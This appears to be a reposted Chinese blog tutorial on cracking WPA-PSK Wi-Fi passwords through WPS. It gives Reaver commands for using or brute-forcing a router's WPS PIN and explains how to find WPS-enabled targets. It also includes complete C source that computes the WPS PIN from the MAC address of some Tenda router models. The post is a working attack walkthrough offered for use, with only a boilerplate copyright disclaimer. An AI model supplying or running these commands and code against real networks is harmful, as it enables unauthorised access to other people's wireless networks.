使用Reaver加PIN碼秒破WPA-PSK密碼


之前掌握到的破解WPA-PSK密碼僅限於使用aircreack工具包獲取handshake后掛字典爆破方式,而能否破解出wpa密碼完全依賴於字典強度了。除了該方式外還有一個更有效的辦法,就是使用路由PIN碼然后使用BT5下自帶的Reaver工具秒破WPA-PSK密碼!

在已知PIN碼的情況下可以在BT5下使用 reaver -i mon0 -b AP‘s Mac -p pin 直接秒破!

現在比較難的就是怎么得到PIN的問題了,經常關注無線這方面的朋友應該知道現在騰達和磊科產品有保PIN算法漏洞,如果路由MAC地址是以“C83A35”或“00B00C”打頭那么可以直接計算出PIN值,然后使用PIN值直接連接或者繼續使用PIN值加reaver破解出wpa-psk。

 

除此之外,根據PIN特點同樣也可以使用Reaver來窮舉,pin碼是一個8位數前四位是隨機生成的而后4位是3個數字加1個checksum大大降低了窮舉所需要的時間。

 

在BT5下可以使用 reaver -i mon0 -b AP's Mac -vv 來破解,這個過程可能需要花很多個小時,在網上有看到是3-10個小時,具體的我還未驗證。reaver在此過程中還會保存進度(/usr/local/etc/reaver/AP’s MAC.wpc)到文件。

不過使用PIN方法破解WPA-PSK密碼有一個限制,就是AP必須開啟了QSS、WPS功能!我們可以在掃描AP的時候判斷目標AP是否開啟了QSS、WPS功能,如下圖使用airodump-ng掃描時候在MB欄中后面有個“.”的就是。

或者在win7下面,連接AP時候在密碼輸入框下面有“通過按路由器按鈕也可以連接”字樣也是開啟了QSS、wps的。

 

“C83A35”或“00B00C”打頭路由PIN計算工具源碼,大家可以自己編譯:

 

//Computes PIN code starts with OUI "C83A35" and "00B00C"

 

//Both two OUIs which belonged to Tenda Technology Co., Ltd are confirmed effectively.

//Coded by Zhaochunsheng - iBeini.com

//Modified by Lingxi - WiFiBETA.COM

 

 

#include <stdio.h>

#include <stdlib.h>

#include <stdafx.h>

 

int main()

{

 

    unsigned int wps_pin_checksum(unsigned int pin);

    int PIN = 0;

 

 //   printf("ComputePIN-C83A35\n");

    printf("Description:\n");

    printf("If your wireless router MAC address start with \"C83A35\" or \"00B00C\",\n");

    printf("type the other six digits, you might be able to get the \n");

    printf("WPS-PIN of this equipment, please have a try, good luck!\n\n");

    printf("Code by ZhaoChunsheng 04/07/2012 http://www.2cto.com \n\n");

 

 

    printf("Modified by Lingxi - WiFiBETA.COM\n\n");

//Translated to Chinese

 printf("說明:\n");

 printf("如果您的無線路由器MAC地址以“C83A35”或“00B00C”打頭,\n");

 printf("輸入后六位MAC地址(不分大小寫)您或許可以獲得該路由的WPS PIN密鑰!\n");

 printf("祝你好運!\n\n");

 printf("由趙春生編寫於2012年4月7日  Http://iBeini.com\n");

 printf("由靈曦修改並漢化  WiFiBETA.COM\n\n");

    printf("請輸入后六位MAC地址(HEX):\n");

    printf("Input the last 6 digits of MAC Address(HEX):");

    scanf("%x",&PIN);  printf("Last 6 digits of MAC Address(HEX) are: %X\n",PIN);

 

    printf("WPS PIN is: %07d%d\n",PIN%10000000,wps_pin_checksum(PIN%10000000));

 

    return 0;

}

 

unsigned int wps_pin_checksum(unsigned int pin)

{

unsigned int accum = 0;

while (pin)

{

accum += 3 * (pin % 10);

pin /= 10;

accum += pin % 10;

pin /= 10;

}

 

    return (10 - accum % 10) % 10;

}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM